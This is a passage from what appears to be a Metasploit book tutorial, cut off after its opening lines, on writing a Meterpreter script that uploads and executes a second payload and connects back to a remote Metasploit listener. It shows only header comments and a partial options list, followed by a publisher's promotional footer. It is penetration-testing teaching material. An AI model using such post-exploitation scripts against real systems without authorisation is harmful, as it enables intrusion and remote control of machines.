Creating Your Own Meterpreter Script

Open up your favorite editor and create a new file called execute_upload.rb, located in scripts/meterpreter/. We’ll start by adding comments to the top of the file to let everyone know the purpose of this script and to define our options for the script:

# Meterpreter script for uploading and executing another meterpreter exe

info = "Simple script for uploading and executing an additional meterpreter payload"

# Options

opts =
        "-h"  => [ false,
   "This help menu. Spawn a meterpreter shell by
 uploading and               executing."],
        "-r" => [ true, "The IP of a remote Metasploit listening for the connect ...

Get Metasploit now with O’Reilly online learning.

O’Reilly members experience live online training, plus books, videos, and digital content from 200+ publishers.